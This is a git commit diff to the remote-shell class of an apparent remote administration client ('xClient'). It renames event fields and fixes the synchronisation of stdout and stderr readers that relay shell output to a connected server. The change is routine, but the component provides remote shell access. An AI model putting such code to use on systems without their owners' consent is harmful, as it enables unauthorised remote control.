This commit is contained in:
MaxXor 2015-06-20 19:17:09 +02:00
parent e82fd5669c
commit c4fa4f355e
1 changed files with 21 additions and 21 deletions

View File

@ -14,9 +14,9 @@ namespace xClient.Core.RemoteShell
// error output stream from the shell (after we are done reading the standard // error output stream from the shell (after we are done reading the standard
// output). Reading the standard output and the standard error output at the // output). Reading the standard output and the standard error output at the
// same time will cause a deadlock. // same time will cause a deadlock.
private ManualResetEvent redirectOutputEvent; private ManualResetEvent _redirectOutputEvent;
private ManualResetEvent redirectStandardErrorEvent; private ManualResetEvent _redirectStandardErrorEvent;
private void CreateSession() private void CreateSession()
{ {
@ -51,15 +51,15 @@ namespace xClient.Core.RemoteShell
/// </summary> /// </summary>
private void InitializeResetEvents() private void InitializeResetEvents()
{ {
if (redirectOutputEvent != null) if (_redirectOutputEvent != null)
redirectOutputEvent.Close(); _redirectOutputEvent.Close();
redirectOutputEvent = new ManualResetEvent(false); _redirectOutputEvent = new ManualResetEvent(false);
if (redirectStandardErrorEvent != null) if (_redirectStandardErrorEvent != null)
redirectStandardErrorEvent.Close(); _redirectStandardErrorEvent.Close();
redirectStandardErrorEvent = new ManualResetEvent(true); _redirectStandardErrorEvent = new ManualResetEvent(true);
} }
private void RedirectOutputs() private void RedirectOutputs()
@ -78,13 +78,13 @@ namespace xClient.Core.RemoteShell
{ {
while (!reader.EndOfStream && _read) while (!reader.EndOfStream && _read)
{ {
if (redirectStandardErrorEvent == null) if (_redirectStandardErrorEvent == null)
// Break out completely if the second part of our chain won't work... // Break out completely if the second part of our chain won't work...
return; return;
// If we are reading the standard error output, just wait. // If we are reading the standard error output, just wait.
redirectStandardErrorEvent.WaitOne(); _redirectStandardErrorEvent.WaitOne();
redirectOutputEvent.Set(); _redirectOutputEvent.Set();
var read = reader.ReadLine(); var read = reader.ReadLine();
if (!string.IsNullOrEmpty(read)) if (!string.IsNullOrEmpty(read))
@ -94,14 +94,14 @@ namespace xClient.Core.RemoteShell
Program.ConnectClient); Program.ConnectClient);
} }
redirectOutputEvent.Reset(); _redirectOutputEvent.Reset();
} }
} }
if ((_prc == null || _prc.HasExited) && _read) if ((_prc == null || _prc.HasExited) && _read)
throw new ApplicationException("session unexpectedly closed"); throw new ApplicationException("session unexpectedly closed");
} }
catch (ObjectDisposedException ex) catch (ObjectDisposedException)
{ {
// just exit // just exit
} }
@ -126,12 +126,12 @@ namespace xClient.Core.RemoteShell
while (!reader.EndOfStream && _read) while (!reader.EndOfStream && _read)
{ {
// Wait for your turn! ;) // Wait for your turn! ;)
if (redirectOutputEvent == null) if (_redirectOutputEvent == null)
// Break out completely if the first part of our chain doesn't work... // Break out completely if the first part of our chain doesn't work...
return; return;
redirectOutputEvent.WaitOne(); _redirectOutputEvent.WaitOne();
redirectStandardErrorEvent.Reset(); _redirectStandardErrorEvent.Set();
var read = reader.ReadLine(); var read = reader.ReadLine();
if (!string.IsNullOrEmpty(read)) if (!string.IsNullOrEmpty(read))
@ -141,7 +141,7 @@ namespace xClient.Core.RemoteShell
Program.ConnectClient); Program.ConnectClient);
} }
redirectStandardErrorEvent.Set(); _redirectStandardErrorEvent.Reset();
} }
} }
@ -216,13 +216,13 @@ namespace xClient.Core.RemoteShell
{ } { }
finally finally
{ {
if (redirectOutputEvent != null) if (_redirectOutputEvent != null)
{ {
redirectOutputEvent.Close(); _redirectOutputEvent.Close();
} }
if (redirectStandardErrorEvent != null) if (_redirectStandardErrorEvent != null)
{ {
redirectStandardErrorEvent.Close(); _redirectStandardErrorEvent.Close();
} }
} }
} }